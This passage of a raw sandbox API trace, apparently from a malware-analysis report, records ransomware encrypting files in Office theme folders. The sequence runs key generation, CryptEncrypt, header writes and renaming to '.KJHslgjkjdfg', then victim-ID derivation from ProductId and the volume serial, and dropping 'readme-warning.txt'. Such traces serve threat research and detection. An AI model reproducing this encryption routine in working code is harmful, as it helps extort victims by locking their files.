lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.559] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.559] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.559] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.559] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.559] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.559] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.559] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.559] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.559] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6b0f, lpOverlapped=0x0) returned 1 [0171.561] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6b10) returned 1 [0171.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.561] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6b10, lpOverlapped=0x0) returned 1 [0171.561] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.562] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.562] SetEndOfFile (hFile=0x12c) returned 1 [0171.564] GetProcessHeap () returned 0x990000 [0171.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.564] GetProcessHeap () returned 0x990000 [0171.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.568] CloseHandle (hObject=0x12c) returned 1 [0171.568] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.568] GetProcessHeap () returned 0x990000 [0171.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.568] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.568] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.568] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.569] GetProcessHeap () returned 0x990000 [0171.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.569] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.569] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.569] GetProcessHeap () returned 0x990000 [0171.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.569] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.569] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.569] GetProcessHeap () returned 0x990000 [0171.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.569] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.569] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.569] GetProcessHeap () returned 0x990000 [0171.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.569] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.569] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.570] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.570] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.570] RegCloseKey (hKey=0x12c) returned 0x0 [0171.570] GetProcessHeap () returned 0x990000 [0171.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.570] GetProcessHeap () returned 0x990000 [0171.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.570] GetProcessHeap () returned 0x990000 [0171.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.570] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.570] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.570] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.570] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.571] GetProcessHeap () returned 0x990000 [0171.571] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.571] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.571] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.571] GetProcessHeap () returned 0x990000 [0171.571] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.571] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt") returned 83 [0171.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.571] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.573] CloseHandle (hObject=0x12c) returned 1 [0171.573] GetProcessHeap () returned 0x990000 [0171.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.573] GetProcessHeap () returned 0x990000 [0171.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.573] GetProcessHeap () returned 0x990000 [0171.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.573] GetProcessHeap () returned 0x990000 [0171.573] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.573] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.574] GetProcessHeap () returned 0x990000 [0171.574] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.574] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0171.574] GetProcessHeap () returned 0x990000 [0171.574] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0171.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.575] GetProcessHeap () returned 0x990000 [0171.575] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.575] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.575] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0171.575] GetProcessHeap () returned 0x990000 [0171.575] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0171.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.576] GetProcessHeap () returned 0x990000 [0171.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.576] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.576] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.576] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0171.578] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.578] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.578] GetProcessHeap () returned 0x990000 [0171.578] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.578] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.579] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.579] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.579] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.579] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.579] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.579] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.579] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.579] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.579] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.579] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xeafa, lpOverlapped=0x0) returned 1 [0171.581] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xeb00, dwBufLen=0xeb00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xeb00) returned 1 [0171.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.582] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xeb00, lpOverlapped=0x0) returned 1 [0171.582] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xebd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.582] SetEndOfFile (hFile=0x12c) returned 1 [0171.585] GetProcessHeap () returned 0x990000 [0171.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.585] GetProcessHeap () returned 0x990000 [0171.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.kjhslgjkjdfg")) returned 1 [0171.592] CloseHandle (hObject=0x12c) returned 1 [0171.592] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0171.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.593] GetProcessHeap () returned 0x990000 [0171.593] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.593] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.593] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.593] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0171.598] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.598] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.598] GetProcessHeap () returned 0x990000 [0171.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.598] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.598] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.598] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.598] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.598] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.598] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.599] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.599] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.599] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.599] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x254, lpOverlapped=0x0) returned 1 [0171.599] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260) returned 1 [0171.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.599] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x260, lpOverlapped=0x0) returned 1 [0171.599] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.599] SetEndOfFile (hFile=0x12c) returned 1 [0171.602] GetProcessHeap () returned 0x990000 [0171.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.602] GetProcessHeap () returned 0x990000 [0171.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.kjhslgjkjdfg")) returned 1 [0171.613] CloseHandle (hObject=0x12c) returned 1 [0171.614] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, 